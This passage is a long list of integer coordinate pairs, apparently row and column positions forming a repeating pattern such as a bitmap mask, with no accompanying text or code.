(9,330), (9,331), (9,332), (9,397), (9,398), (9,399), (9,400), (9,401), (9,402), (9,403), (9,404), (9,405), (9,406), (9,407), (9,408), (9,409), (9,410), (9,411), (9,412), (9,437), (9,438), (9,439), (9,440), (9,441), (9,442), (9,443), (9,444), (9,445), (9,446), (9,447), (9,448), (9,449), (9,450), (9,451), (9,452), (9,461), (9,462), (9,463), (9,464), (9,465), (9,466), (9,467), (9,468), (9,501), (9,502), (9,503), (9,504), (9,505), (9,506), (9,507), (9,508), (10,5), (10,6), (10,7), (10,8), (10,9), (10,10), (10,11), (10,12), (10,93), (10,94), (10,95), (10,96), (10,97), (10,98), (10,99), (10,100), (10,157), (10,158), (10,159), (10,160), (10,161), (10,162), (10,163), (10,164), (10,165), (10,166), (10,167), (10,168), (10,169), (10,170), (10,171), (10,172), (10,173), (10,174), (10,175), (10,176), (10,177), (10,178), (10,179), (10,180), (10,181), (10,182), (10,183), (10,184), (10,185), (10,186), (10,187), (10,188), (10,213), (10,214), (10,215), (10,216), (10,217), (10,218), (10,219), (10,220), (10,221), (10,222), (10,223), (10,224), (10,225), (10,226), (10,227), (10,228), (10,269), (10,270), (10,271), (10,272), (10,273), (10,274), (10,275), (10,276), (10,293), (10,294), (10,295), (10,296), (10,297), (10,298), (10,299), (10,300), (10,301), (10,302), (10,303), (10,304), (10,305), (10,306), (10,307), (10,308), (10,309), (10,310), (10,311), (10,312), (10,313), (10,314), (10,315), (10,316), (10,317), (10,318), (10,319), (10,320), (10,321), (10,322), (10,323), (10,324), (10,325), (10,326), (10,327), (10,328), (10,329), (10,330), (10,331), (10,332), (10,397), (10,398), (10,399), (10,400), (10,401), (10,402), (10,403), (10,404), (10,405), (10,406), (10,407), (10,408), (10,409), (10,410), (10,411), (10,412), (10,437), (10,438), (10,439), (10,440), (10,441), (10,442), (10,443), (10,444), (10,445), (10,446), (10,447), (10,448), (10,449), (10,450), (10,451), (10,452), (10,461), (10,462), (10,463), (10,464), (10,465), (10,466), (10,467), (10,468), (10,501), (10,502), (10,503), (10,504), (10,505), (10,506), (10,507), (10,508), (11,5), (11,6), (11,7), (11,8), (11,9), (11,10), (11,11), (11,12), (11,93), (11,94), (11,95), (11,96), (11,97), (11,98), (11,99), (11,100), (11,157), (11,158), (11,159), (11,160), (11,161), (11,162), (11,163), (11,164), (11,165), (11,166), (11,167), (11,168), (11,169), (11,170), (11,171), (11,172), (11,173), (11,174), (11,175), (11,176), (11,177), (11,178), (11,179), (11,180), (11,181), (11,182), (11,183), (11,184), (11,185), (11,186), (11,187), (11,188), (11,213), (11,214), (11,215), (11,216), (11,217), (11,218), (11,219), (11,220), (11,221), (11,222), (11,223), (11,224), (11,225), (11,226), (11,227), (11,228), (11,269), (11,270), (11,271), (11,272), (11,273), (11,274), (11,275), (11,276), (11,293), (11,294), (11,295), (11,296), (11,297), (11,298), (11,299), (11,300), (11,301), (11,302), (11,303), (11,304), (11,305), (11,306), (11,307), (11,308), (11,309), (11,310), (11,311), (11,312), (11,313), (11,314), (11,315), (11,316), (11,317), (11,318), (11,319), (11,320), (11,321), (11,322), (11,323), (11,324), (11,325), (11,326), (11,327), (11,328), (11,329), (11,330), (11,331), (11,332), (11,397), (11,398), (11,399), (11,400), (11,401), (11,402), (11,403), (11,404), (11,405), (11,406), (11,407), (11,408), (11,409), (11,410), (11,411), (11,412), (11,437), (11,438), (11,439), (11,440), (11,441), (11,442), (11,443), (11,444), (11,445), (11,446), (11,447), (11,448), (11,449), (11,450), (11,451), (11,452), (11,461), (11,462), (11,463), (11,464), (11,465), (11,466), (11,467), (11,468), (11,501), (11,502), (11,503), (11,504), (11,505), (11,506), (11,507), (11,508), (12,5), (12,6), (12,7), (12,8), (12,9), (12,10), (12,11), (12,12), (12,93), (12,94), (12,95), (12,96), (12,97), (12,98), (12,99), (12,100), (12,157), (12,158), (12,159), (12,160), (12,161), (12,162), (12,163), (12,164), (12,165), (12,166), (12,167), (12,168), (12,169), (12,170), (12,171), (12,172), (12,173), (12,174), (12,175), (12,176), (12,177), (12,178), (12,179), (12,180), (12,181), (12,182), (12,183), (12,184), (12,185), (12,186), (12,187), (12,188), (12,213), (12,214), (12,215), (12,216), (12,217), (12,218), (12,219), (12,220), (12,221), (12,222), (12,223), (12,224), (12,225), (12,226), (12,227), (12,228), (12,269), (12,270), (12,271), (12,272), (12,273), (12,274), (12,275), (12,276), (12,293), (12,294), (12,295), (12,296), (12,297), (12,298), (12,299), (12,300), (12,301), (12,302), (12,303), (12,304), (12,305), (12,306), (12,307), (12,308), (12,309), (12,310), (12,311), (12,312), (12,313), (12,314), (12,315), (12,316), (12,317), (12,318), (12,319), (12,320), (12,321), (12,322), (12,323), (12,324), (12,325), (12,326), (12,327), (12,328), (12,329), (12,330), (12,331), (12,332), (12,397), (12,398), (12,399), (12,400), (12,401), (12,402), (12,403), (12,404), (12,405), (12,406), (12,407), (12,408), (12,409), (12,410), (12,411), (12,412), (12,437), (12,438), (12,439), (12,440), (12,441), (12,442), (12,443), (12,444), (12,445), (12,446), (12,447), (12,448), (12,449), (12,450), (12,451), (12,452), (12,461), (12,462), (12,463), (12,464), (12,465), (12,466), (12,467), (12,468), (12,501), (12,502), (12,503), (12,504), (12,505), (12,506), (12,507), (12,508), (13,5), (13,6), (13,7), (13,8), (13,9), (13,10), (13,11), (13,12), (13,93), (13,94), (13,95), (13,96), (13,97), (13,98), (13,99), (13,100), (13,157), (13,158), (13,159), (13,160), (13,161), (13,162), (13,163), (13,164), (13,165), (13,166), (13,167), (13,168), (13,169), (13,170), (13,171), (13,172), (13,173), (13,174), (13,175), (13,176), (13,177), (13,178), (13,179), (13,180), (13,181), (13,182), (13,183), (13,184), (13,185), (13,186), (13,187), (13,188), (13,213), (13,214), (13,215), (13,216), (13,217), (13,218), (13,219), (13,220), (13,221), (13,222), (13,223), (13,224), (13,225), (13,226), (13,227), (13,228), (13,269), (13,270), (13,271), (13,272), (13,273), (13,274), (13,275), (13,276), (13,293), (13,294), (13,295), (13,296), (13,297), (13,298), (13,299), (13,300), (13,301), (13,302), (13,303), (13,304), (13,305), (13,306), (13,307), (13,308), (13,309), (13,310), (13,311), (13,312), (13,313), (13,314), (13,315), (13,316), (13,317), (13,318), (13,319), (13,320), (13,321), (13,322), (13,323), (13,324), (13,325), (13,326), (13,327), (13,328), (13,329), (13,330), (13,331), (13,332), (13,397), (13,398), (13,399), (13,400), (13,401), (13,402), (13,403), (13,404), (13,405), (13,406), (13,407), (13,408), (13,409), (13,410), (13,411), (13,412), (13,437), (13,438), (13,439), (13,440), (13,441), (13,442), (13,443), (13,444), (13,445), (13,446), (13,447), (13,448), (13,449), (13,450), (13,451), (13,452), (13,461), (13,462), (13,463), (13,464), (13,465), (13,466), (13,467), (13,468), (13,501), (13,502), (13,503), (13,504), (13,505), (13,506), (13,507), (13,508), (14,5), (14,6), (14,7), (14,8), (14,9), (14,10), (14,11), (14,12), (14,93), (14,94), (14,95), (14,96), (14,97), (14,98), (14,99), (14,100), (14,157), (14,158), (14,159), (14,160), (14,161), (14,162), (14,163), (14,164), (14,165), (14,166), (14,167), (14,168), (14,169), (14,170), (14,171), (14,172), (14,173), (14,174), (14,175), (14,176), (14,177), (14,178), (14,179), (14,180), (14,181), (14,182), (14,183), (14,184), (14,185), (14,186), (14,187), (14,188), (14,213), (14,214), (14,215), (14,216), (14,217), (14,218), (14,219), (14,220), (14,221), (14,222), (14,223), (14,224), (14,225), (14,226), (14,227), (14,228), (14,269), (14,270), (14,271), (14,272), (14,273), (14,274), (14,275), (14,276), (14,293), (14,294), (14,295), (14,296), (14,297), (14,298), (14,299), (14,300), (14,301), (14,302), (14,303), (14,304), (14,305), (14,306), (14,307), (14,308), (14,309), (14,310), (14,311), (14,312), (14,313), (14,314), (14,315), (14,316), (14,317), (14,318), (14,319), (14,320), (14,321), (14,322), (14,323), (14,324), (14,325), (14,326), (14,327), (14,328), (14,329), (14,330), (14,331), (14,332), (14,397), (14,398), (14,399), (14,400), (14,401), (14,402), (14,403), (14,404), (14,405), (14,406), (14,407), (14,408), (14,409), (14,410), (14,411), (14,412), (14,437), (14,438), (14,439), (14,440), (14,441), (14,442), (14,443), (14,444), (14,445), (14,446), (14,447), (14,448), (14,449), (14,450), (14,451), (14,452), (14,461), (14,462), (14,463), (14,464), (14,465), (14,466), (14,467), (14,468), (14,501), (14,502), (14,503), (14,504), (14,505), (14,506), (14,507), (14,508), (15,5), (15,6), (15,7), (15,8), (15,9), (15,10), (15,11), (15,12), (15,93), (15,94), (15,95), (15,96), (15,97), (15,98), (15,99), (15,100), (15,157), (15,158), (15,159), (15,160), (15,161), (15,162), (15,163), (15,164), (15,165), (15,166), (15,167), (15,168), (15,169), (15,170), (15,171), (15,172), (15,173), (15,174), (15,175), (15,176), (15,177), (15,178), (15,179), (15,180), (15,181), (15,182), (15,183), (15,184), (15,185), (15,186), (15,187), (15,188), (15,213), (15,214), (15,215), (15,216), (15,217), (15,218), (15,219), (15,220), (15,221), (15,222), (15,223), (15,224), (15,225), (15,226), (15,227), (15,228), (15,269), (15,270), (15,271), (15,272), (15,273), (15,274), (15,275), (15,276), (15,293), (15,294), (15,295), (15,296), (15,297), (15,298), (15,299), (15,300), (15,301), (15,302), (15,303), (15,304), (15,305), (15,306), (15,307), (15,308), (15,309), (15,310), (15,311), (15,312), (15,313), (15,314), (15,315), (15,316), (15,317), (15,318), (15,319), (15,320), (15,321), (15,322), (15,323), (15,324), (15,325), (15,326), (15,327), (15,328), (15,329), (15,330), (15,331), (15,332), (15,397), (15,398), (15,399), (15,400), (15,401), (15,402), (15,403), (15,404), (15,405), (15,406), (15,407), (15,408), (15,409), (15,410), (15,411), (15,412), (15,437), (15,438), (15,439), (15,440), (15,441), (15,442), (15,443), (15,444), (15,445), (15,446), (15,447), (15,448), (15,449), (15,450), (15,451), (15,452), (15,461), (15,462), (15,463), (15,464), (15,465), (15,466), (15,467), (15,468), (15,501), (15,502), (15,503), (15,504), (15,505), (15,506), (15,507), (15,508), (16,5), (16,6), (16,7), (16,8), (16,9), (16,10), (16,11), (16,12), (16,93), (16,94), (16,95), (16,96), (16,97), (16,98), (16,99), (16,100), (16,149), (16,150), (16,151), (16,152), (16,153), (16,154), (16,155), (16,156), (16,189), (16,190), (16,191), (16,192), (16,193), (16,194), (16,195), (16,196), (16,197), (16,198), (16,199), (16,200), (16,201), (16,202), (16,203), (16,204), (16,221), (16,222), (16,223), (16,224), (16,225), (16,226), (16,227), (16,228), (16,261), (16,262), (16,263), (16,264), (16,265), (16,266), (16,267), (16,268), (16,269), (16,270), (16,271), (16,272), (16,273), (16,274), (16,275), (16,276), (16,293), (16,294), (16,295), (16,296), (16,297), (16,298), (16,299), (16,300), (16,405), (16,406), (16,407), (16,408), (16,409), (16,410), (16,411), (16,412), (16,437), (16,438), (16,439), (16,440), (16,441), (16,442), (16,443), (16,444), (16,461), (16,462), (16,463), (16,464), (16,465), (16,466), (16,467), (16,468), (16,493), (16,494), (16,495), (16,496), (16,497), (16,498), (16,499), (16,500), (16,501), (16,502), (16,503), (16,504), (16,505), (16,506), (16,507), (16,508), (17,5), (17,6), (17,7), (17,8), (17,9), (17,10), (17,11), (17,12), (17,93), (17,94), (17,95), (17,96), (17,97), (17,98), (17,99), (17,100), (17,149), (17,150), (17,151), (17,152), (17,153), (17,154), (17,155), (17,156), (17,189), (17,190), (17,191), (17,192), (17,193), (17,194), (17,195), (17,196), (17,197), (17,198), (17,199), (17,200), (17,201), (17,202), (17,203), (17,204), (17,221), (17,222), (17,223), (17,224), (17,225), (17,226), (17,227), (17,228), (17,261), (17,262), (17,263), (17,264), (17,265), (17,266), (17,267), (17,268), (17,269), (17,270), (17,271), (17,272), (17,273), (17,274), (17,275), (17,276), (17,293), (17,294), (17,295), (17,296), (17,297), (17,298), (17,299), (17,300), (17,405), (17,406), (17,407), (17,408), (17,409), (17,410), (17,411), (17,412), (17,437), (17,438), (17,439), (17,440), (17,441), (17,442), (17,443), (17,444), (17,461), (17,462), (17,463), (17,464), (17,465), (17,466), (17,467), (17,468), (17,493), (17,494), (17,495), (17,496), (17,497), (17,498), (17,499), (17,500), (17,501), (17,502), (17,503), (17,504), (17,505), (17,506), (17,507), (17,508), (18,5), (18,6), (18,7), (18,8), (18,9), (18,10), (18,11), (18,12), (18,93), (18,94), (18,95), (18,96), (18,97), (18,98), (18,99), (18,100), (18,149), (18,150), (18,151), (18,152), (18,153), (18,154), (18,155), (18,156), (18,189), (18,190), (18,191), (18,192), (18,193), (18,194), (18,195), (18,196), (18,197), (18,198), (18,199), (18,200), (18,201), (18,202), (18,203), (18,204), (18,221), (18,222), (18,223), (18,224), (18,225), (18,226), (18,227), (18,228), (18,261), (18,262), (18,263), (18,264), (18,265), (18,266), (18,267), (18,268), (18,269), (18,270), (18,271), (18,272), (18,273), (18,274), (18,275), (18,276), (18,293), (18,294), (18,295), (18,296), (18,297), (18,298), (18,299), (18,300), (18,405), (18,406), (18,407), (18,408), (18,409), (18,410), (18,411), (18,412), (18,437), (18,438), (18,439), (18,440), (18,441), (18,442), (18,443), (18,444), (18,461), (18,462), (18,463), (18,464), (18,465), (18,466), (18,467), (18,468), (18,493), (18,494), (18,495), (18,496), (18,497), (18,498), (18,499), (18,500), (18,501), (18,502), (18,503), (18,504), (18,505), (18,506), (18,507), (18,508), (19,5), (19,6), (19,7), (19,8), (19,9), (19,10), (19,11), (19,12), (19,93), (19,94), (19,95), (19,96), (19,97), (19,98), (19,99), (19,100), (19,149), (19,150), (19,151), (19,152), (19,153), (19,154), (19,155), (19,156), (19,189), (19,190), (19,191), (19,192), (19,193), (19,194), (19,195), (19,196), (19,197), (19,198), (19,199), (19,200), (19,201), (19,202), (19,203), (19,204), (19,221), (19,222), (19,223), (19,224), (19,225), (19,226), (19,227), (19,228), (19,261), (19,262), (19,263), (19,264), (19,265), (19,266), (19,267), (19,268), (19,269), (19,270), (19,271), (19,272), (19,273), (19,274), (19,275), (19,276), (19,293), (19,294), (19,295), (19,296), (19,297), (19,298), (19,299), (19,300), (19,405), (19,406), (19,407), (19,408), (19,409), (19,410), (19,411), (19,412), (19,437), (19,438), (19,439), (19,440), (19,441), (19,442), (19,443), (19,444), (19,461), (19,462), (19,463), (19,464), (19,465), (19,466), (19,467), (19,468), (19,493), (19,494), (19,495), (19,496), (19,497), (19,498), (19,499), (19,500), (19,501), (19,502), (19,503), (19,504), (19,505), (19,506), (19,507), (19,508), (20,5), (20,6), (20,7), (20,8), (20,9), (20,10), (20,11), (20,12), (20,93), (20,94), (20,95), (20,96), (20,97), (20,98), (20,99), (20,100), (20,149), (20,150), (20,151), (20,152), (20,153), (20,154), (20,155), (20,156), (20,189), (20,190), (20,191), (20,192), (20,193), (20,194), (20,195), (20,196), (20,197), (20,198), (20,199), (20,200), (20,201), (20,202), (20,203), (20,204), (20,221), (20,222), (20,223), (20,224), (20,225), (20,226), (20,227), (20,228), (20,261), (20,262), (20,263), (20,264), (20,265), (20,266), (20,267), (20,268), (20,269), (20,270), (20,271), (20,272), (20,273), (20,274), (20,275), (20,276), (20,293), (20,294), (20,295), (20,296), (20,297), (20,298), (20,299), (20,300), (20,405), (20,406), (20,407), (20,408), (20,409), (20,410), (20,411), (20,412), (20,437), (20,438), (20,439), (20,440), (20,441), (20,442), (20,443), (20,444), (20,461), (20,462), (20,463), (20,464), (20,465), (20,466), (20,467), (20,468), (20,493), (20,494), (20,495), (20,496), (20,497), (20,498), (20,499), (20,500), (20,501), (20,502), (20,503), (20,504), (20,505), (20,506), (20,507), (20,508), (21,5), (21,6), (21,7), (21,8), (21,9), (21,10), (21,11), (21,12), (21,93), (21,94), (21,95), (21,96), (21,97), (21,98), (21,99), (21,100), (21,149), (21,150), (21,151), (21,152), (21,153), (21,154), (21,155), (21,156), (21,189), (21,190), (21,191), (21,192), (21,193), (21,194), (21,195), (21,196), (21,197), (21,198), (21,199), (21,200), (21,201), (21,202), (21,203), (21,204), (21,221), (21,222), (21,223), (21,224), (21,225), (21,226), (21,227), (21,228), (21,261), (21,262), (21,263), (21,264), (21,265), (21,266), (21,267), (21,268), (21,269), (21,270), (21,271), (21,272), (21,273), (21,274), (21,275), (21,276), (21,293), (21,294), (21,295), (21,296), (21,297), (21,298), (21,299), (21,300), (21,405), (21,406), (21,407), (21,408), (21,409), (21,410), (21,411), (21,412), (21,437), (21,438), (21,439), (21,440), (21,441), (21,442), (21,443), (21,444), (21,461), (21,462), (21,463), (21,464), (21,465), (21,466), (21,467), (21,468), (21,493), (21,494), (21,495), (21,496), (21,497), (21,498), (21,499), (21,500), (21,501), (21,502), (21,503), (21,504), (21,505), (21,506), (21,507), (21,508), (22,5), (22,6), (22,7), (22,8), (22,9), (22,10), (22,11), (22,12), (22,93), (22,94), (22,95), (22,96), (22,97), (22,98), (22,99), (22,100), (22,149), (22,150), (22,151), (22,152), (22,153), (22,154), (22,155), (22,156), (22,189), (22,190), (22,191), (22,192), (22,193), (22,194), (22,195), (22,196), (22,197), (22,198), (22,199), (22,200), (22,201), (22,202), (22,203), (22,204), (22,221), (22,222), (22,223), (22,224), (22,225), (22,226), (22,227), (22,228), (22,261), (22,262), (22,263), (22,264), (22,265), (22,266), (22,267), (22,268), (22,269), (22,270), (22,271), (22,272), (22,273), (22,274), (22,275), (22,276), (22,293), (22,294), (22,295), (22,296), (22,297), (22,298), (22,299), (22,300), (22,405), (22,406), (22,407), (22,408), (22,409), (22,410), (22,411), (22,412), (22,437), (22,438), (22,439), (22,440), (22,441), (22,442), (22,443), (22,444), (22,461), (22,462), (22,463), (22,464), (22,465), (22,466), (22,467), (22,468), (22,493), (22,494), (22,495), (22,496), (22,497), (22,498), (22,499), (22,500), (22,501), (22,502), (22,503), (22,504), (22,505), (22,506), (22,507), (22,508), (23,5), (23,6), (23,7), (23,8), (23,9), (23,10), (23,11), (23,12), (23,93), (23,94), (23,95), (23,96), (23,97), (23,98), (23,99), (23,100), (23,149), (23,150), (23,151), (23,152), (23,153), (23,154), (23,155), (23,156), (23,189), (23,190), (23,191), (23,192), (23,193), (23,194), (23,195), (23,196), (23,197), (23,198), (23,199), (23,200), (23,201), (23,202), (23,203), (23,204), (23,221), (23,222), (23,223), (23,224), (23,225), (23,226), (23,227), (23,228), (23,261), (23,262), (23,263), (23,264), (23,265), (23,266), (23,267), (23,268), (23,269), (23,270), (23,271), (23,272), (23,273), (23,274), (23,275), (23,276), (23,293), (23,294), (23,295), (23,296), (23,297), (23,298), (23,299), (23,300), (23,405), (23,406), (23,407), (23,408), (23,409), (23,410), (23,411), (23,412), (23,437), (23,438), (23,439), (23,440), (23,441), (23,442), (23,443), (23,444), (23,461), (23,462), (23,463), (23,464), (23,465), (23,466), (23,467), (23,468), (23,493), (23,494), (23,495), (23,496), (23,497), (23,498), (23,499), (23,500), (23,501), (23,502), (23,503), (23,504), (23,505), (23,506), (23,507), (23,508), (24,5), (24,6), (24,7), (24,8), (24,9), (24,10), (24,11), (24,12), (24,93), (24,94), (24,95), (24,96), (24,97), (24,98), (24,99), (24,100), (24,141), (24,142), (24,143), (24,144), (24,145), (24,146), (24,147), (24,148), (24,197), (24,198), (24,199), (24,200), (24,201), (24,202), (24,203), (24,204), (24,221), (24,222), (24,223), (24,224), (24,225), (24,226), (24,227), (24,228), (24,261), (24,262), (24,263), (24,264), (24,265), (24,266), (24,267), (24,268), (24,293), (24,294), (24,295), (24,296), (24,297), (24,298), (24,299), (24,300), (24,413), (24,414), (24,415), (24,416), (24,417), (24,418), (24,419), (24,420), (24,429), (24,430), (24,431), (24,432), (24,433), (24,434), (24,435), (24,436), (24,469), (24,470), (24,471), (24,472), (24,473), (24,474), (24,475), (24,476), (24,493), (24,494), (24,495), (24,496), (24,497), (24,498), (24,499), (24,500), (25,5), (25,6), (25,7), (25,8), (25,9), (25,10), (25,11), (25,12), (25,93), (25,94), (25,95), (25,96), (25,97), (25,98), (25,99), (25,100), (25,141), (25,142), (25,143), (25,144), (25,145), (25,146), (25,147), (25,148), (25,197), (25,198), (25,199), (25,200), (25,201), (25,202), (25,203), (25,204), (25,221), (25,222), (25,223), (25,224), (25,225), (25,226), (25,227), (25,228), (25,261), (25,262), (25,263), (25,264), (25,265), (25,266), (25,267), (25,268), (25,293), (25,294), (25,295), (25,296), (25,297), (25,298), (25,299), (25,300), (25,413), (25,414), (25,415), (25,416), (25,417), (25,418), (25,419), (25,420), (25,429), (25,430), (25,431), (25,432), (25,433), (25,434), (25,435), (25,436), (25,469), (25,470), (25,471), (25,472), (25,473), (25,474), (25,475), (25,476), (25,493), (25,494), (25,495), (25,496), (25,497), (25,498), (25,499), (25,500), (26,5), (26,6), (26,7), (26,8), (26,9), (26,10), (26,11), (26,12), (26,93), (26,94), (26,95), (26,96), (26,97), (26,98), (26,99), (26,100), (26,141), (26,142), (26,143), (26,144), (26,145), (26,146), (26,147), (26,148), (26,197), (26,198), (26,199), (26,200), (26,201), (26,202), (26,203), (26,204), (26,221), (26,222), (26,223), (26,224), (26,225), (26,226), (26,227), (26,228), (26,261), (26,262), (26,263), (26,264), (26,265), (26,266), (26,267), (26,268), (26,293), (26,294), (26,295), (26,296), (26,297), (26,298), (26,299), (26,300), (26,413), (26,414), (26,415), (26,416), (26,417), (26,418), (26,419), (26,420), (26,429), (26,430), (26,431), (26,432), (26,433), (26,434), (26,435), (26,436), (26,469), (26,470), (26,471), (26,472), (26,473), (26,474), (26,475), (26,476), (26,493), (26,494), (26,495), (26,496), (26,497), (26,498), (26,499), (26,500), (27,5), (27,6), (27,7), (27,8), (27,9), (27,10), (27,11), (27,12), (27,93), (27,94), (27,95), (27,96), (27,97), (27,98), (27,99), (27,100), (27,141), (27,142), (27,143), (27,144), (27,145), (27,146), (27,147), (27,148), (27,197), (27,198), (27,199), (27,200), (27,201), (27,202), (27,203), (27,204), (27,221), (27,222), (27,223), (27,224), (27,225), (27,226), (27,227), (27,228), (27,261), (27,262), (27,263), (27,264), (27,265), (27,266), (27,267), (27,268), (27,293), (27,294), (27,295), (27,296), (27,297), (27,298), (27,299), (27,300), (27,413), (27,414), (27,415), (27,416), (27,417), (27,418), (27,419), (27,420), (27,429), (27,430), (27,431), (27,432), (27,433), (27,434), (27,435), (27,436), (27,469), (27,470), (27,471), (27,472), (27,473), (27,474), (27,475), (27,476), (27,493), (27,494), (27,495), (27,496), (27,497), (27,498), (27,499), (27,500), (28,5), (28,6), (28,7), (28,8), (28,9), (28,10), (28,11), (28,12), (28,93), (28,94), (28,95), (28,96), (28,97), (28,98), (28,99), (28,100), (28,141), (28,142), (28,143), (28,144), (28,145), (28,146), (28,147), (28,148), (28,197), (28,198), (28,199), (28,200), (28,201), (28,202), (28,203), (28,204), (28,221), (28,222), (28,223), (28,224), (28,225), (28,226), (28,227), (28,228), (28,261), (28,262), (28,263), (28,264), (28,265), (28,266), (28,267), (28,268), (28,293), (28,294), (28,295), (28,296), (28,297), (28,298), (28,299), (28,300), (28,413), (28,414), (28,415), (28,416), (28,417), (28,418), (28,419), (28,420), (28,429), (28,430), (28,431), (28,432), (28,433), (28,434), (28,435), (28,436), (28,469), (28,470), (28,471), (28,472), (28,473), (28,474), (28,475), (28,476), (28,493), (28,494), (28,495), (28,496), (28,497), (28,498), (28,499), (28,500), (29,5), (29,6), (29,7), (29,8), (29,9), (29,10), (29,11), (29,12), (29,93), (29,94), (29,95), (29,96), (29,97), (29,98), (29,99), (29,100), (29,141), (29,142), (29,143), (29,144), (29,145), (29,146), (29,147), (29,148), (29,197), (29,198), (29,199), (29,200), (29,201), (29,202), (29,203), (29,204), (29,221), (29,222), (29,223), (29,224), (29,225), (29,226), (29,227), (29,228), (29,261), (29,262), (29,263), (29,264), (29,265), (29,266), (29,267), (29,268), (29,293), (29,294), (29,295), (29,296), (29,297), (29,298), (29,299), (29,300), (29,413), (29,414), (29,415), (29,416), (29,417), (29,418), (29,419), (29,420), (29,429), (29,430), (29,431), (29,432), (29,433), (29,434), (29,435), (29,436), (29,469), (29,470), (29,471), (29,472), (29,473), (29,474), (29,475), (29,476), (29,493), (29,494), (29,495), (29,496), (29,497), (29,498), (29,499), (29,500), (30,5), (30,6), (30,7), (30,8), (30,9), (30,10), (30,11), (30,12), (30,93), (30,94), (30,95), (30,96), (30,97), (30,98), (30,99), (30,100), (30,141), (30,142), (30,143), (30,144), (30,145), (30,146), (30,147), (30,148), (30,197), (30,198), (30,199), (30,200), (30,201), (30,202), (30,203), (30,204), (30,221), (30,222), (30,223), (30,224), (30,225), (30,226), (30,227), (30,228), (30,261), (30,262), (30,263), (30,264), (30,265), (30,266), (30,267), (30,268), (30,293), (30,294), (30,295), (30,296), (30,297), (30,298), (30,299), (30,300), (30,413), (30,414), (30,415), (30,416), (30,417), (30,418), (30,419), (30,420), (30,429), (30,430), (30,431), (30,432), (30,433), (30,434), (30,435), (30,436), (30,469), (30,470), (30,471), (30,472), (30,473), (30,474), (30,475), (30,476), (30,493), (30,494), (30,495), (30,496), (30,497), (30,498), (30,499), (30,500), (31,5), (31,6), (31,7), (31,8), (31,9), (31,10), (31,11), (31,12), (31,93), (31,94), (31,95), (31,96), (31,97), (31,98), (31,99), (31,100), (31,141), (31,142), (31,143), (31,144), (31,145), (31,146), (31,147), (31,148), (31,197), (31,198), (31,199), (31,200), (31,201), (31,202), (31,203), (31,204), (31,221), (31,222), (31,223), (31,224), (31,225), (31,226), (31,227), (31,228), (31,261), (31,262), (31,263), (31,264), (31,265), (31,266), (31,267), (31,268), (31,293), (31,294), (31,295), (31,296), (31,297), (31,298), (31,299), (31,300), (31,413), (31,414), (31,415), (31,416), (31,417), (31,418), (31,419), (31,420), (31,429), (31,430), (31,431), (31,432), (31,433), (31,434), (31,435), (31,436), (31,469), (31,470), (31,471), (31,472), (31,473), (31,474), (31,475), (31,476), (31,493), (31,494), (31,495), (31,496), (31,497), (31,498), (31,499), (31,500), (32,5), (32,6), (32,7), (32,8), (32,9), (32,10), (32,11), (32,12), (32,93), (32,94), (32,95), (32,96), (32,97), (32,98), (32,99), (32,100), (32,141), (32,142), (32,143), (32,144), (32,145), (32,146), (32,147), (32,148), (32,197), (32,198), (32,199), (32,200), (32,201), (32,202), (32,203), (32,204), (32,221), (32,222), (32,223), (32,224), (32,225), (32,226), (32,227), (32,228), (32,229), (32,230), (32,231), (32,232), (32,233), (32,234), (32,235), (32,236), (32,261), (32,262), (32,263), (32,264), (32,265), (32,266), (32,267), (32,268), (32,293), (32,294), (32,295), (32,296), (32,297), (32,298), (32,299), (32,300), (32,413), (32,414), (32,415), (32,416), (32,417), (32,418), (32,419), (32,420), (32,421), (32,422), (32,423), (32,424), (32,425), (32,426), (32,427), (32,428), (32,429), (32,430), (32,431), (32,432), (32,433), (32,434), (32,435), (32,436), (32,469), (32,470), (32,471), (32,472), (32,473), (32,474), (32,475), (32,476), (32,485), (32,486), (32,487), (32,488), (32,489), (32,490), (32,491), (32,492), (33,5), (33,6), (33,7), (33,8), (33,9), (33,10), (33,11), (33,12), (33,93), (33,94), (33,95), (33,96), (33,97), (33,98), (33,99), (33,100), (33,141), (33,142), (33,143), (33,144), (33,145), (33,146), (33,147), (33,148), (33,197), (33,198), (33,199), (33,200), (33,201), (33,202), (33,203), (33,204), (33,221), (33,222), (33,223), (33,224), (33,225), (33,226), (33,227), (33,228), (33,229), (33,230), (33,231), (33,232), (33,233), (33,234), (33,235), (33,236), (33,261), (33,262), (33,263), (33,264), (33,265), (33,266), (33,267), (33,268), (33,293), (33,294), (33,295), (33,296), (33,297), (33,298), (33,299), (33,300), (33,413), (33,414), (33,415), (33,416), (33,417), (33,418), (33,419), (33,420), (33,421), (33,422), (33,423), (33,424), (33,425), (33,426), (33,427), (33,428), (33,429), (33,430), (33,431), (33,432), (33,433), (33,434), (33,435), (33,436), (33,469), (33,470), (33,471), (33,472), (33,473), (33,474), (33,475), (33,476), (33,485), (33,486), (33,487), (33,488), (33,489), (33,490), (33,491), (33,492), (34,5), (34,6), (34,7), (34,8), (34,9), (34,10), (34,11), (34,12), (34,93), (34,94), (34,95), (34,96), (34,97), (34,98), (34,99), (34,100), (34,141), (34,142), (34,143), (34,144), (34,145), (34,146), (34,147), (34,148), (34,197), (34,198), (34,199), (34,200), (34,201), (34,202), (34,203), (34,204), (34,221), (34,222), (34,223), (34,224), (34,225), (34,226), (34,227), (34,228), (34,229), (34,230), (34,231), (34,232), (34,233), (34,234), (34,235), (34,236), (34,261), (34,262), (34,263), (34,264), (34,265), (34,266), (34,267), (34,268), (34,293), (34,294), (34,295), (34,296), (34,297), (34,298), (34,299), (34,300), (34,413), (34,414), (34,415), (34,416), (34,417), (34,418), (34,419), (34,420), (34,421), (34,422), (34,423), (34,424), (34,425), (34,426), (34,427), (34,428), (34,429), (34,430), (34,431), (34,432), (34,433), (34,434), (34,435), (34,436), (34,469), (34,470), (34,471), (34,472), (34,473), (34,474), (34,475), (34,476), (34,485), (34,486), (34,487), (34,488), (34,489), (34,490), (34,491), (34,492), (35,5), (35,6), (35,7), (35,8), (35,9), (35,10), (35,11), (35,12), (35,93), (35,94), (35,95), (35,96), (35,97), (35,98), (35,99), (35,100), (35,141), (35,142), (35,143), (35,144), (35,145), (35,146), (35,147), (35,148), (35,197), (35,198), (35,199), (35,200), (35,201), (35,202), (35,203), (35,204), (35,221), (35,222), (35,223), (35,224), (35,225), (35,226), (35,227), (35,228), (35,229), (35,230), (35,231), (35,232), (35,233), (35,234), (35,235), (35,236), (35,261), (35,262), (35,263), (35,264), (35,265), (35,266), (35,267), (35,268), (35,293), (35,294), (35,295), (35,296), (35,297), (35,298), (35,299), (35,300), (35,413), (35,414), (35,415), (35,416), (35,417), (35,418), (35,419), (35,420), (35,421), (35,422), (35,423), (35,424), 